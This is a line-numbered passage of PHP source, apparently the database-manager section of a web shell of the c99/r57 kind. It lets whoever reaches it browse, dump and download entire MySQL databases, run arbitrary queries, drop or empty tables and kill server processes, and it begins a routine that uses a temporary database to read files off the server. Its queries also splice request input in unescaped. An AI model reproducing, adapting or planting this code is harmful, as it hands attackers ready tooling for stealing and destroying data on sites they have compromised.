1227</table>
1228</form>';
1229 } else {
1230 echo '<td valign="top" style="border:1px solid #333333;">
1231<center>
1232<a href="' . $sql_surl . '"><b style="color:#00ff00;">HOME</b></a>
1233<hr size="1" noshade>';
1234 $result = mysql_list_dbs($sql_sock);
1235 if (!$result) {
1236 echo mysql_smarterror();
1237 } else {
1238 echo '<form action="' . $surl . 'x=sql">
1239<input type="hidden" name="x" value="sql">
1240<input type="hidden" name="sql_login" value="' . htmlspecialchars($sql_login) . '">
1241<input type="hidden" name="sql_passwd" value="' . htmlspecialchars($sql_passwd) . '">
1242<input type="hidden" name="sql_server" value="' . htmlspecialchars($sql_server) . '">
1243<input type="hidden" name="sql_port" value="' . htmlspecialchars($sql_port) . '">
1244<select name="sql_db" onchange="this.form.submit()" style="width:100%;">';
1245 $c = 0;
1246 $dbs = "";
1247 while ($row = mysql_fetch_row($result)) {
1248 $dbs.= " <option value=\"" . $row[0] . "\"";
1249 if (@$sql_db == $row[0]) {
1250 $dbs.= " selected";
1251 }
1252 $dbs.= ">" . $row[0] . "</option>";
1253 $c++;
1254 }
1255 echo " <option value=\"\">Databases (" . $c . ")</option>";
1256 echo $dbs;
1257 }
1258 echo '</select>
1259<hr size="1" noshade>
1260</form>
1261</center>';
1262 if (isset($sql_db)) {
1263 $result = mysql_list_tables($sql_db);
1264 if (!$result) {
1265 $result = mysql_list_dbs($sql_sock);
1266 $num = mysql_num_rows($result);
1267 for ($i = 0;$i < $num;$i++) {
1268 $dbname = mysql_dbname($result, $i);
1269 echo "<table class='tab'><td style='background:#3F3F3F;border:1px solid #202020;border-top: 1px solid #505050;border-left: 1px solid #505050;'><b>+ <a href=\"" . $sql_surl . "sql_db=" . $dbname . "\">$dbname</a></b></td></table>";
1270 }
1271 } else {
1272 echo " <table class='tub'><th><a href=\"" . $sql_surl . "&\"><b>" . htmlspecialchars($sql_db) . "</b></a></th></table><br>";
1273 $c = 0;
1274 while ($row = mysql_fetch_array($result)) {
1275 $count = mysql_query("SELECT COUNT(*) FROM " . $row[0]);
1276 $count_row = mysql_fetch_array($count);
1277 echo " <b>+ <a style='color:#00ff00;' href=\"" . $sql_surl . "sql_db=" . htmlspecialchars($sql_db) . "&sql_tbl=" . htmlspecialchars($row[0]) . "\">" . htmlspecialchars($row[0]) . "</a></b> (" . $count_row[0] . ")</br></b>";
1278 mysql_free_result($count);
1279 $c++;
1280 }
1281 if (!$c) {
1282 echo "No tables found in database";
1283 }
1284 }
1285 }
1286 echo '</td>';
1287 echo '<td style="border:1px solid #333333;">';
1288 $diplay = TRUE;
1289 if (@$sql_db) {
1290 if (!is_numeric($c)) {
1291 $c = 0;
1292 }
1293 if ($c == 0) {
1294 $c = "no";
1295 }
1296 echo " <center><b>There are " . $c . " table(s) in database: " . htmlspecialchars($sql_db) . "";
1297 if (count(@$dbquicklaunch) > 0) {
1298 foreach ($dbsqlquicklaunch as $item) {
1299 echo "[ <a href=\"" . $item[1] . "\">" . $item[0] . "</a> ] ";
1300 }
1301 }
1302 echo "</b></center>";
1303 $xs = array("", "dump");
1304 if ($sql_x == "tbldrop") {
1305 $sql_query = "DROP TABLE";
1306 foreach ($boxtbl as $v) {
1307 $sql_query.= "`" . $v . "` ,";
1308 }
1309 $sql_query = substr($sql_query, 0, -1) . ";";
1310 $sql_x = "query";
1311 } elseif ($sql_x == "tblempty") {
1312 $sql_query = "";
1313 foreach ($boxtbl as $v) {
1314 $sql_query.= "DELETE FROM `" . $v . "` ";
1315 }
1316 $sql_x = "query";
1317 } elseif ($sql_x == "tbldump") {
1318 if (count($boxtbl) > 0) {
1319 $dmptbls = $boxtbl;
1320 } elseif ($thistbl) {
1321 $dmptbls = array($sql_tbl);
1322 }
1323 $sql_x = "dump";
1324 } elseif ($sql_x == "tblcheck") {
1325 $sql_query = "CHECK TABLE";
1326 foreach ($boxtbl as $v) {
1327 $sql_query.= "`" . $v . "` ,";
1328 }
1329 $sql_query = substr($sql_query, 0, -1) . ";";
1330 $sql_x = "query";
1331 } elseif ($sql_x == "tbloptimize") {
1332 $sql_query = "OPTIMIZE TABLE";
1333 foreach ($boxtbl as $v) {
1334 $sql_query.= "`" . $v . "` ,";
1335 }
1336 $sql_query = substr($sql_query, 0, -1) . ";";
1337 $sql_x = "query";
1338 } elseif ($sql_x == "tblrepair") {
1339 $sql_query = "REPAIR TABLE";
1340 foreach ($boxtbl as $v) {
1341 $sql_query.= "`" . $v . "` ,";
1342 }
1343 $sql_query = substr($sql_query, 0, -1) . ";";
1344 $sql_x = "query";
1345 } elseif ($sql_x == "tblanalyze") {
1346 $sql_query = "ANALYZE TABLE";
1347 foreach ($boxtbl as $v) {
1348 $sql_query.= "`" . $v . "` ,";
1349 }
1350 $sql_query = substr($sql_query, 0, -1) . ";";
1351 $sql_x = "query";
1352 } elseif ($sql_x == "deleterow") {
1353 $sql_query = "";
1354 if (!empty($boxrow_all)) {
1355 $sql_query = "DELETE * FROM `" . $sql_tbl . "`;";
1356 } else {
1357 foreach ($boxrow as $v) {
1358 $sql_query.= "DELETE * FROM `" . $sql_tbl . "` WHERE" . $v . " LIMIT 1;";
1359 }
1360 $sql_query = substr($sql_query, 0, -1);
1361 }
1362 $sql_x = "query";
1363 } elseif ($sql_tbl_x == "insert") {
1364 if ($sql_tbl_insert_radio == 1) {
1365 $keys = "";
1366 $akeys = array_keys($sql_tbl_insert);
1367 foreach ($akeys as $v) {
1368 $keys.= "`" . addslashes($v) . "`, ";
1369 }
1370 if (!empty($keys)) {
1371 $keys = substr($keys, 0, strlen($keys) - 2);
1372 }
1373 $values = "";
1374 $i = 0;
1375 foreach (array_values($sql_tbl_insert) as $v) {
1376 if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {
1377 $values.= $funct . " (";
1378 }
1379 $values.= "'" . addslashes($v) . "'";
1380 if ($funct) {
1381 $values.= ")";
1382 }
1383 $values.= ", ";
1384 $i++;
1385 }
1386 if (!empty($values)) {
1387 $values = substr($values, 0, strlen($values) - 2);
1388 }
1389 $sql_query = "INSERT INTO `" . $sql_tbl . "` ( " . $keys . " ) VALUES ( " . $values . " );";
1390 $sql_x = "query";
1391 $sql_tbl_x = "browse";
1392 } elseif ($sql_tbl_insert_radio == 2) {
1393 $set = mysql_buildwhere($sql_tbl_insert, ", ", $sql_tbl_insert_functs);
1394 $sql_query = "UPDATE `" . $sql_tbl . "` SET " . $set . " WHERE " . $sql_tbl_insert_q . " LIMIT 1;";
1395 $result = mysql_query($sql_query) or print (mysql_smarterror());
1396 $result = mysql_fetch_array($result, MYSQL_ASSOC);
1397 $sql_x = "query";
1398 $sql_tbl_x = "browse";
1399 }
1400 }
1401 if ($sql_x == "query") {
1402 echo "<hr size=\"1\" noshade>";
1403 if (($submit) and (!$sql_query_result) and ($sql_confirm)) {
1404 if (!$sql_query_error) {
1405 $sql_query_error = "Query was empty";
1406 }
1407 echo "<b>Error:</b> <br>" . $sql_query_error . "<br>";
1408 }
1409 if ($sql_query_result or (!$sql_confirm)) {
1410 $sql_x = $sql_goto;
1411 }
1412 if ((!$submit) or ($sql_x)) {
1413 echo "<table class='tab'><tr><td><form action=\"" . $sql_surl . "\" method=\"POST\"><b>";
1414 if (($sql_query) and (!$submit)) {
1415 echo "Do you really want to:";
1416 } else {
1417 echo "SQL-Query :";
1418 }
1419 echo "</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">" . htmlspecialchars($sql_query) . "</textarea><br><br><input type=\"hidden\" name=\"sql_x\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"" . htmlspecialchars($sql_tbl) . "\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"" . htmlspecialchars($sql_goto) . "\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\"> <input type=\"submit\" value=\"No\"></form></td></tr></table>";
1420 }
1421 }
1422 if (in_array($sql_x, $xs)) {
1423 echo '<table class="tab">
1424<tr>
1425<td style="border:1px solid #333333;padding:3px;">
1426<b>Create new table:</b>
1427<form action="' . $surl . '">
1428<input type="hidden" name="x" value="sql">
1429<input type="hidden" name="sql_x" value="newtbl">
1430<input type="hidden" name="sql_db" value="' . htmlspecialchars($sql_db) . '">
1431<input type="hidden" name="sql_login" value="' . htmlspecialchars($sql_login) . '">
1432<input type="hidden" name="sql_passwd" value="' . htmlspecialchars($sql_passwd) . '">
1433<input type="hidden" name="sql_server" value="' . htmlspecialchars($sql_server) . '">
1434<input type="hidden" name="sql_port" value="' . htmlspecialchars($sql_port) . '">
1435<input type="text" name="sql_newtbl" size="20">
1436Fields: <input type="text" name="sql_field" size="3">
1437<input class="inputzbut" type="submit" value="Create">
1438</form>
1439</td>
1440<td style="border:1px solid #333333;padding:3px;"><b>Dump DB:</b>
1441<form action="' . $surl . '">
1442<input type="hidden" name="x" value="sql">
1443<input type="hidden" name="sql_x" value="dump">
1444<input type="hidden" name="sql_db" value="' . htmlspecialchars($sql_db) . '">
1445<input type="hidden" name="sql_login" value="' . htmlspecialchars($sql_login) . '">
1446<input type="hidden" name="sql_passwd" value="' . htmlspecialchars($sql_passwd) . '">
1447<input type="hidden" name="sql_server" value="' . htmlspecialchars($sql_server) . '">
1448<input type="hidden" name="sql_port" value="' . htmlspecialchars($sql_port) . '">
1449<input type="text" name="dump_file" size="30" value="dump_' . getenv("SERVER_NAME") . '_' . $sql_db . '_' . date("d-m-Y-H-i-s") . '.sql">
1450<input type="submit" class="inputzbut" name="submit" value="Dump">
1451</form>
1452</td>
1453</tr>
1454</table>';
1455 if (!empty($sql_x)) {
1456 echo "<hr size=\"1\" noshade>";
1457 }
1458 if ($sql_x == "newtbl") {
1459 echo "<b>";
1460 if ((mysql_create_db($sql_newdb)) and (!empty($sql_newdb))) {
1461 echo "DB \"" . htmlspecialchars($sql_newdb) . "\" has been created with success!</b><br>";
1462 } else {
1463 echo "Can't create DB \"" . htmlspecialchars($sql_newdb) . "\".<br>Reason:</b> " . mysql_smarterror();
1464 }
1465 } elseif ($sql_x == "dump") {
1466 if (empty($submit)) {
1467 $diplay = FALSE;
1468 echo "<form method=\"GET\"><input type=\"hidden\" name=\"x\" value=\"sql\"><input type=\"hidden\" name=\"sql_x\" value=\"dump\"><input type=\"hidden\" name=\"sql_db\" value=\"" . htmlspecialchars($sql_db) . "\"><input type=\"hidden\" name=\"sql_login\" value=\"" . htmlspecialchars($sql_login) . "\"><input type=\"hidden\" name=\"sql_passwd\" value=\"" . htmlspecialchars($sql_passwd) . "\"><input type=\"hidden\" name=\"sql_server\" value=\"" . htmlspecialchars($sql_server) . "\"><input type=\"hidden\" name=\"sql_port\" value=\"" . htmlspecialchars($sql_port) . "\"><input type=\"hidden\" name=\"sql_tbl\" value=\"" . htmlspecialchars($sql_tbl) . "\"><b>SQL-Dump:</b><br><br>";
1469 echo "<b>DB:</b> <input type=\"text\" name=\"sql_db\" value=\"" . urlencode($sql_db) . "\"><br><br>";
1470 $v = join(";", $dmptbls);
1471 echo "<b>Only tables (explode \";\") :</b> <input type=\"text\" name=\"dmptbls\" value=\"" . htmlspecialchars($v) . "\" size=\"" . (strlen($v) + 5) . "\"><br><br>";
1472 if ($dump_file) {
1473 $tmp = $dump_file;
1474 } else {
1475 $tmp = htmlspecialchars("./dump_" . getenv("SERVER_NAME") . "_" . $sql_db . "_" . date("d-m-Y-H-i-s") . ".sql");
1476 }
1477 echo "<b>File:</b> <input type=\"text\" name=\"sql_dump_file\" value=\"" . $tmp . "\" size=\"" . (strlen($tmp) + strlen($tmp) % 30) . "\"><br><br>";
1478 echo "<b>Download: </b> <input type=\"checkbox\" name=\"sql_dump_download\" value=\"1\" checked><br><br>";
1479 echo "<b>Save to file: </b> <input type=\"checkbox\" name=\"sql_dump_savetofile\" value=\"1\" checked>";
1480 echo "<br><br><input class=\"inputzbut\" type=\"submit\" name=\"submit\" value=\"Dump\">";
1481 echo "</form>";
1482 } else {
1483 $diplay = TRUE;
1484 $set = array();
1485 $set["sock"] = $sql_sock;
1486 $set["db"] = $sql_db;
1487 $dump_out = "download";
1488 $set["print"] = 0;
1489 $set["nl2br"] = 0;
1490 $set[""] = 0;
1491 $set["file"] = $dump_file;
1492 $set["add_drop"] = TRUE;
1493 $set["onlytabs"] = array();
1494 if (!empty($dmptbls)) {
1495 $set["onlytabs"] = explode(";", $dmptbls);
1496 }
1497 $ret = mysql_dump($set);
1498 if ($sql_dump_download) {
1499 @ob_clean();
1500 header("Content-type: application/octet-stream");
1501 header("Content-length: " . strlen($ret));
1502 header("Content-disposition: attachment; filename=\"" . basename($sql_dump_file) . "\";");
1503 echo $ret;
1504 exit;
1505 } elseif ($sql_dump_savetofile) {
1506 $fp = fopen($sql_dump_file, "w");
1507 if (!$fp) {
1508 echo "<b>Dump error! Can't write to \"" . htmlspecialchars($sql_dump_file) . "\"!";
1509 } else {
1510 fwrite($fp, $ret);
1511 fclose($fp);
1512 echo "<b>Dumped! Dump has been writed to \"" . htmlspecialchars(realpath($sql_dump_file)) . "\" (" . view_size(filesize($sql_dump_file)) . ")</b>.";
1513 }
1514 } else {
1515 echo "<b>Dump: nothing to do!</b>";
1516 }
1517 }
1518 }
1519 if ($diplay) {
1520 if (!empty($sql_tbl)) {
1521 if (empty($sql_tbl_x)) {
1522 $sql_tbl_x = "browse";
1523 }
1524 $count = mysql_query("SELECT COUNT(*) FROM `" . $sql_tbl . "`;");
1525 $count_row = mysql_fetch_array($count);
1526 mysql_free_result($count);
1527 $tbl_struct_result = mysql_query("SHOW FIELDS FROM `" . $sql_tbl . "`;");
1528 $tbl_struct_fields = array();
1529 while ($row = mysql_fetch_assoc($tbl_struct_result)) {
1530 $tbl_struct_fields[] = $row;
1531 }
1532 if (@$sql_ls > @$sql_le) {
1533 $sql_le = $sql_ls + $perpage;
1534 }
1535 if (empty($sql_tbl_page)) {
1536 $sql_tbl_page = 0;
1537 }
1538 if (empty($sql_tbl_ls)) {
1539 $sql_tbl_ls = 0;
1540 }
1541 if (empty($sql_tbl_le)) {
1542 $sql_tbl_le = 30;
1543 }
1544 $perpage = $sql_tbl_le - $sql_tbl_ls;
1545 if (!is_numeric($perpage)) {
1546 $perpage = 10;
1547 }
1548 $numpages = $count_row[0] / $perpage;
1549 $e = explode(" ", $sql_order);
1550 if (count($e) == 2) {
1551 if ($e[0] == "d") {
1552 $asc_desc = "DESC";
1553 } else {
1554 $asc_desc = "ASC";
1555 }
1556 $v = "ORDER BY `" . $e[1] . "` " . $asc_desc . " ";
1557 } else {
1558 $v = "";
1559 }
1560 $query = "SELECT * FROM `" . $sql_tbl . "` " . $v . "LIMIT " . $sql_tbl_ls . " , " . $perpage . "";
1561 $result = mysql_query($query) or print (mysql_smarterror());
1562 echo "<center><b>Table " . htmlspecialchars($sql_tbl) . " (" . mysql_num_fields($result) . " cols and " . $count_row[0] . " rows)</b></center>";
1563 echo "<hr size=\"1\" noshade>";
1564 echo "<a href=\"" . $sql_surl . "sql_tbl=" . urlencode($sql_tbl) . "&sql_tbl_x=structure\">[<b> Structure </b>]</a> ";
1565 echo "<a href=\"" . $sql_surl . "sql_tbl=" . urlencode($sql_tbl) . "&sql_tbl_x=browse\">[<b> Browse </b>]</a> ";
1566 echo "<a href=\"" . $sql_surl . "sql_tbl=" . urlencode($sql_tbl) . "&sql_x=tbldump&thistbl=1\">[<b> Dump </b>]</a> ";
1567 echo "<a href=\"" . $sql_surl . "sql_tbl=" . urlencode($sql_tbl) . "&sql_tbl_x=insert\">[ <b>Insert</b> ]</a> ";
1568 if ($sql_tbl_x == "structure") {
1569 echo "<b>Under construction!</b>";
1570 }
1571 if ($sql_tbl_x == "insert") {
1572 if (!is_array($sql_tbl_insert)) {
1573 $sql_tbl_insert = array();
1574 }
1575 if (!empty($sql_tbl_insert_radio)) {
1576 echo "<b>Under construction!</b>";
1577 } else {
1578 echo "<br><br><b>Inserting row into table:</b><br>";
1579 if (!empty($sql_tbl_insert_q)) {
1580 $sql_query = "SELECT * FROM `" . $sql_tbl . "`";
1581 $sql_query.= " WHERE" . $sql_tbl_insert_q;
1582 $sql_query.= " LIMIT 1;";
1583 $result = mysql_query($sql_query, $sql_sock) or print ("<br><br>" . mysql_smarterror());
1584 $values = mysql_fetch_assoc($result);
1585 mysql_free_result($result);
1586 } else {
1587 $values = array();
1588 }
1589 echo "<form method=\"POST\"><table width=\"1%\" class='tub'><tr><th><b>Field</b></th><th><b>Type</b></th><th><b>Function</b></th><th><b>Value</b></th></tr>";
1590 foreach ($tbl_struct_fields as $field) {
1591 $name = $field["Field"];
1592 if (empty($sql_tbl_insert_q)) {
1593 $v = "";
1594 }
1595 echo "<tr><td><b>" . htmlspecialchars($name) . "</b></td><td>" . $field["Type"] . "</td><td><select name=\"sql_tbl_insert_functs[" . htmlspecialchars($name) . "]\"><option value=\"\"></option><option>PASSWORD</option><option>MD5</option><option>ENCRYPT</option><option>ASCII</option><option>CHAR</option><option>RAND</option><option>LAST_INSERT_ID</option><option>COUNT</option><option>AVG</option><option>SUM</option><option value=\"\">--------</option><option>SOUNDEX</option><option>LCASE</option><option>UCASE</option><option>NOW</option><option>CURDATE</option><option>CURTIME</option><option>FROM_DAYS</option><option>FROM_UNIXTIME</option><option>PERIOD_ADD</option><option>PERIOD_DIFF</option><option>TO_DAYS</option><option>UNIX_TIMESTAMP</option><option>USER</option><option>WEEKDAY</option><option>CONCAT</option></select></td><td><input type=\"text\" name=\"sql_tbl_insert[" . htmlspecialchars($name) . "]\" value=\"" . htmlspecialchars($values[$name]) . "\" size=50></td></tr>";
1596 $i++;
1597 }
1598 echo "</table><br>";
1599 echo "<input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"1\"";
1600 if (empty($sql_tbl_insert_q)) {
1601 echo " checked";
1602 }
1603 echo "><b>Insert as new row</b>";
1604 if (!empty($sql_tbl_insert_q)) {
1605 echo " or <input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"2\" checked><b>Save</b>";
1606 echo "<input type=\"hidden\" name=\"sql_tbl_insert_q\" value=\"" . htmlspecialchars($sql_tbl_insert_q) . "\">";
1607 }
1608 echo "<br><br><input class=\"inputzbut\" type=\"submit\" value=\"Confirm\"></form>";
1609 }
1610 }
1611 if ($sql_tbl_x == "browse") {
1612 $sql_tbl_ls = abs($sql_tbl_ls);
1613 $sql_tbl_le = abs($sql_tbl_le);
1614 echo "<hr size=\"1\" noshade>";
1615 echo "<b>Page: </b>";
1616 $b = 0;
1617 for ($i = 0;$i < $numpages;$i++) {
1618 if (($i * $perpage != $sql_tbl_ls) or ($i * $perpage + $perpage != $sql_tbl_le)) {
1619 echo "<a href=\"" . $sql_surl . "sql_tbl=" . urlencode($sql_tbl) . "&sql_order=" . htmlspecialchars($sql_order) . "&sql_tbl_ls=" . ($i * $perpage) . "&sql_tbl_le=" . ($i * $perpage + $perpage) . "\"><u>";
1620 }
1621 echo $i;
1622 if (($i * $perpage != $sql_tbl_ls) or ($i * $perpage + $perpage != $sql_tbl_le)) {
1623 echo "</u></a>";
1624 }
1625 if (($i / 30 == round($i / 30)) and ($i > 0)) {
1626 echo "<br>";
1627 } else {
1628 echo " ";
1629 }
1630 }
1631 if ($i == 0) {
1632 echo "empty";
1633 }
1634 echo "<br><br><form method=\"GET\"><input type=\"hidden\" name=\"x\" value=\"sql\"><input type=\"hidden\" name=\"sql_db\" value=\"" . htmlspecialchars($sql_db) . "\"><input type=\"hidden\" name=\"sql_login\" value=\"" . htmlspecialchars($sql_login) . "\"><input type=\"hidden\" name=\"sql_passwd\" value=\"" . htmlspecialchars($sql_passwd) . "\"><input type=\"hidden\" name=\"sql_server\" value=\"" . htmlspecialchars($sql_server) . "\"><input type=\"hidden\" name=\"sql_port\" value=\"" . htmlspecialchars($sql_port) . "\"><input type=\"hidden\" name=\"sql_tbl\" value=\"" . htmlspecialchars($sql_tbl) . "\"><input type=\"hidden\" name=\"sql_order\" value=\"" . htmlspecialchars($sql_order) . "\"><b>From:</b> <input type=\"text\" name=\"sql_tbl_ls\" value=\"" . $sql_tbl_ls . "\"> <b>To:</b> <input type=\"text\" name=\"sql_tbl_le\" value=\"" . $sql_tbl_le . "\"> <input type=\"submit\" value=\"View\"></form>";
1635 echo "<br><form method=\"POST\">";
1636 echo "<table class='tub'><tr>";
1637 echo "<th><input type=\"checkbox\" name=\"boxrow_all\" value=\"1\"></th>";
1638 for ($i = 0;$i < mysql_num_fields($result);$i++) {
1639 $v = mysql_field_name($result, $i);
1640 if ($e[0] == "a") {
1641 $s = "d";
1642 $m = "asc";
1643 } else {
1644 $s = "a";
1645 $m = "desc";
1646 }
1647 echo "<th>";
1648 if (empty($e[0])) {
1649 $e[0] = "a";
1650 }
1651 if (@$e[1] != $v) {
1652 echo "<a href=\"" . $sql_surl . "sql_tbl=" . $sql_tbl . "&sql_tbl_le=" . $sql_tbl_le . "&sql_tbl_ls=" . $sql_tbl_ls . "&sql_order=" . $e[0] . "%20" . $v . "\"><b>" . $v . "</b></a>";
1653 } else {
1654 echo "<b>" . $v . "</b><a href=\"" . $sql_surl . "sql_tbl=" . $sql_tbl . "&sql_tbl_le=" . $sql_tbl_le . "&sql_tbl_ls=" . $sql_tbl_ls . "&sql_order=" . $s . "%20" . $v . "\"><img src=\"" . $surl . "x=img&img=sort_" . $m . "\" alt=\"" . $m . "\"></a>";
1655 }
1656 echo "</th>";
1657 }
1658 echo "<th><font color=\"#00FF00\"><b>action</b></font></th>";
1659 echo "</tr>";
1660 while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {
1661 echo "<tr>";
1662 $w = "";
1663 $i = 0;
1664 foreach ($row as $k => $v) {
1665 $name = mysql_field_name($result, $i);
1666 $w.= " `" . $name . "` = '" . addslashes($v) . "' AND";
1667 $i++;
1668 }
1669 if (count($row) > 0) {
1670 $w = substr($w, 0, strlen($w) - 3);
1671 }
1672 echo "<td align='center' style='padding:0px;'><input type=\"checkbox\" name=\"boxrow[]\" value=\"" . $w . "\"></td>";
1673 $i = 0;
1674 foreach ($row as $k => $v) {
1675 $v = htmlspecialchars($v);
1676 if ($v == "") {
1677 $v = "<font color=\"#00FF00\">NULL</font>";
1678 }
1679 echo "<td>" . $v . "</td>";
1680 $i++;
1681 }
1682 echo "<td>";
1683 echo "<a href=\"" . $sql_surl . "sql_x=query&sql_tbl=" . urlencode($sql_tbl) . "&sql_tbl_ls=" . $sql_tbl_ls . "&sql_tbl_le=" . $sql_tbl_le . "&sql_query=" . urlencode("DELETE FROM `" . $sql_tbl . "` WHERE" . $w . " LIMIT 1;") . "\">Delete</a>";
1684 echo " | ";
1685 echo "<a href=\"" . $sql_surl . "sql_tbl_x=insert&sql_tbl=" . urlencode($sql_tbl) . "&sql_tbl_ls=" . $sql_tbl_ls . "&sql_tbl_le=" . $sql_tbl_le . "&sql_tbl_insert_q=" . urlencode($w) . "\">Edit</a> ";
1686 echo "</td>";
1687 echo "</tr>";
1688 }
1689 mysql_free_result($result);
1690 echo "</table><hr size=\"1\" noshade><p align=\"left\"><input type=\"checkbox\"/> <select name=\"sql_x\">";
1691 echo "<option value=\"\">With selected:</option>";
1692 echo "<option value=\"deleterow\">Delete</option>";
1693 echo "</select> <input class=\"inputzbut\" type=\"submit\" value=\"Confirm\"></form></p>";
1694 }
1695 } else {
1696 $result = mysql_query("SHOW TABLE STATUS", $sql_sock);
1697 if (!$result) {
1698 echo mysql_smarterror();
1699 } else {
1700 echo '<form method="POST">
1701<table class="tub">
1702<tr><th><input type="checkbox" name="boxtbl_all" value="1"></th><th>Table</th><th>Rows</th><th>Engine</th><th>Created</th><th>Modified</th><th>Size</th><th>Action</th></tr>';
1703 $i = 0;
1704 $tsize = $trows = 0;
1705 while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {
1706 $tsize+= $row["Data_length"];
1707 $trows+= $row["Rows"];
1708 $size = view_size($row["Data_length"]);
1709 echo '<tr>
1710<td align="center" style="padding:0px;"><input type="checkbox" name="boxtbl[]" value="' . $row["Name"] . '"></td>
1711<td><a href="' . $sql_surl . 'sql_tbl=' . urlencode($row["Name"]) . '"><b>' . $row["Name"] . '</b></a></td>
1712<td>' . $row["Rows"] . '</td><td>' . $row["Engine"] . '</td><td>' . $row["Create_time"] . '</td><td>' . $row["Update_time"] . '</td><td>' . $size . '</td>
1713<td><a href="' . $sql_surl . 'sql_x=query&sql_query=' . urlencode("DELETE FROM `" . $row["Name"] . "`") . '">Empty</a> | <a href="' . $sql_surl . 'sql_x=query&sql_query=' . urlencode("DROP TABLE `" . $row["Name"] . "`") . '">Drop</a> | <a href="' . $sql_surl . 'sql_tbl_x=insert&sql_tbl=' . $row["Name"] . '">Insert</a></td>
1714</tr>';
1715 $i++;
1716 }
1717 echo " <tr>
1718" . " <th>+</th><th>$i table(s)</th><th>$trows</th><th>$row[1]</th><th>$row[10]</th><th>$row[11]</th><th>" . view_size($tsize) . "</th><th></th>
1719";
1720 echo '</tr>
1721</table>
1722<div align="right">
1723<select class="inputz" name="sql_x">
1724<option value="">With selected:</option>
1725<option value="tbldrop">Drop</option>
1726<option value="tblempty">Empty</option>";
1727<option value="tbldump">Dump</option>";
1728<option value="tblcheck">Check table</option>";
1729<option value="tbloptimize">Optimize table</option>";
1730<option value="tblrepair">Repair table</option>";
1731<option value="tblanalyze">Analyze table</option>";
1732</select>
1733<input class="inputzbut" type="submit" value="Confirm">
1734</div>
1735</form>';
1736 mysql_free_result($result);
1737 }
1738 }
1739 }
1740 }
1741 } else {
1742 $xs = array("", "newdb", "serverstatus", "servervars", "processes", "getfile");
1743 if (in_array($sql_x, $xs)) {
1744 echo '<table class="tab">
1745<tr>
1746<td style="border:1px solid #333333;padding:3px;"><b>Create new DB:</b>
1747<form action="' . $surl . '">
1748<input type="hidden" name="x" value="sql">
1749<input type="hidden" name="sql_x" value="newdb">
1750<input type="hidden" name="sql_login" value="' . htmlspecialchars($sql_login) . '">
1751<input type="hidden" name="sql_passwd" value="' . htmlspecialchars($sql_passwd) . '">
1752<input type="hidden" name="sql_server" value="' . htmlspecialchars($sql_server) . '">
1753<input type="hidden" name="sql_port" value="' . htmlspecialchars($sql_port) . '">
1754<input class="inputz" type="text" name="sql_newdb" size="20">
1755<input class="inputzbut" type="submit" value="Create">
1756</form>
1757</td>
1758<td style="border:1px solid #333333;padding:3px;"><b>View File:</b>
1759<form action="' . $surl . '">
1760<input type="hidden" name="x" value="sql">
1761<input type="hidden" name="sql_x" value="getfile">
1762<input type="hidden" name="sql_login" value="' . htmlspecialchars($sql_login) . '">
1763<input type="hidden" name="sql_passwd" value="' . htmlspecialchars($sql_passwd) . '">
1764<input type="hidden" name="sql_server" value="' . htmlspecialchars($sql_server) . '">
1765<input type="hidden" name="sql_port" value="' . htmlspecialchars($sql_port) . '">
1766<input class="inputz" type="text" name="sql_getfile" size="30" value="' . htmlspecialchars($sql_getfile) . '">
1767<input class="inputzbut" type="submit" value="Get">
1768</form>
1769</td>
1770</tr>
1771</table>';
1772 }
1773 if (!empty($sql_x)) {
1774 echo "<hr size=\"1\" noshade>";
1775 if ($sql_x == "newdb") {
1776 echo "<b>";
1777 if ((mysql_create_db($sql_newdb)) and (!empty($sql_newdb))) {
1778 echo "DB \"" . htmlspecialchars($sql_newdb) . "\" has been created with success!</b><br>";
1779 } else {
1780 echo "Can't create DB \"" . htmlspecialchars($sql_newdb) . "\".<br>Reason:</b> " . mysql_smarterror();
1781 }
1782 }
1783 if ($sql_x == "serverstatus") {
1784 $result = mysql_query("SHOW STATUS", $sql_sock);
1785 echo "<center><b>Server status variables:</b><br><br>";
1786 echo "<table class='tub'><th><b>Name</b></th><th><b>Value</b></th></tr>";
1787 while ($row = mysql_fetch_array($result, MYSQL_NUM)) {
1788 echo "<tr><td>" . $row[0] . "</td><td>" . $row[1] . "</td></tr>";
1789 }
1790 echo "</table></center>";
1791 mysql_free_result($result);
1792 }
1793 if ($sql_x == "servervars") {
1794 $result = mysql_query("SHOW VARIABLES", $sql_sock);
1795 echo "<center><b>Server variables:</b><br><br>";
1796 echo "<table class='tub'><th><b>Name</b></th><th><b>Value</b></th></tr>";
1797 while ($row = mysql_fetch_array($result, MYSQL_NUM)) {
1798 echo "<tr><td>" . $row[0] . "</td><td>" . $row[1] . "</td></tr>";
1799 }
1800 echo "</table>";
1801 mysql_free_result($result);
1802 }
1803 if ($sql_x == "processes") {
1804 if (!empty($kill)) {
1805 $query = "KILL " . $kill . ";";
1806 $result = mysql_query($query, $sql_sock);
1807 echo "<b>Process #" . $kill . " was killed.</b>";
1808 }
1809 $result = mysql_query("SHOW PROCESSLIST", $sql_sock);
1810 echo "<center><b>Processes:</b><br><br>";
1811 echo "<table class='tub'><th><b>ID</b></th><th><b>USER</b></th><th><b>HOST</b></th><th><b>DB</b></th><th><b>COMMAND</b></th><th><b>TIME</b></th><th><b>STATE</b></th><th><b>INFO</b></th><th><b>Action</b></th></tr>";
1812 while ($row = mysql_fetch_array($result, MYSQL_NUM)) {
1813 echo "<tr><td>" . $row[0] . "</td><td>" . $row[1] . "</td><td>" . $row[2] . "</td><td>" . $row[3] . "</td><td>" . $row[4] . "</td><td>" . $row[5] . "</td><td>" . $row[6] . "</td><td>" . $row[7] . "</td><td><a href=\"" . $sql_surl . "sql_x=processes&kill=" . $row[0] . "\"><u>Kill</u></a></td></tr>";
1814 }
1815 echo "</table>";
1816 mysql_free_result($result);
1817 }
1818 if ($sql_x == "getfile") {
1819 $tmpdb = $sql_login . "_tmpdb";
1820 $select = mysql_select_db($tmpdb);
1821 if (!$select) {
1822 mysql_create_db($tmpdb);
1823 $select = mysql_select_db($tmpdb);
1824 $created = !!$select;
1825 }
1826 if ($select) {
1827 $created = FALSE;
